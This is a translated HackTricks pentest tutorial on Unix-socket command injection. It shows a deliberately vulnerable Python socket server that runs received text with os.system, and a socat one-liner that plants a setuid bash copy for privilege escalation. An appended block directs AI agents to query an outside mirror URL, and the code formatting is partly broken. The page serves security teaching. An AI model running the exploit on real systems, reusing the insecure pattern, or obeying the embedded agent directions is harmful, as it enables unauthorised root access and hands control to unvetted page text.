# Socket Command Injection
从零到英雄学习AWS黑客技术，通过 htARTE (HackTricks AWS红队专家)！
支持HackTricks的其他方式：
* 如果您希望在**HackTricks中看到您的公司广告**或**以PDF格式下载HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
### 使用Python的Socket绑定示例
在以下示例中，创建了一个**unix socket**（`/tmp/socket_test.s`），并且接收到的所有内容都将由`os.system`执行。我知道你在现实中不会找到这样的例子，但这个示例的目的是展示使用unix sockets的代码是什么样的，以及在最坏的情况下如何管理输入。
{% code title="s.py" %}
```
```
{% endcode %}
\`\`\`python import socket import os, os.path import time from collections import deque
if os.path.exists("/tmp/socket\_test.s"): os.remove("/tmp/socket\_test.s")
server = socket.socket(socket.AF\_UNIX, socket.SOCK\_STREAM) server.bind("/tmp/socket\_test.s") os.system("chmod o+w /tmp/socket\_test.s") while True: server.listen(1) conn, addr = server.accept() datagram = conn.recv(1024) if datagram: print(datagram) os.system(datagram) conn.close()
````
```markdown
**使用 python 执行** 代码：`python s.py` 并**检查 socket 如何监听**：
````
```python
netstat -a -p --unix | grep "socket_test"
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
unix 2 [ ACC ] STREAM LISTENING 901181 132748/python /tmp/socket_test.s
```
**利用**
```python
echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s
```
从零到英雄学习AWS黑客技术，通过 htARTE (HackTricks AWS Red Team Expert)!
支持HackTricks的其他方式：
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
---
# Agent Instructions: Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter:
```
GET https://hacktricks.xsx.tw/linux-hardening/privilege-escalation/socket-command-injection.md?ask=
```
The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.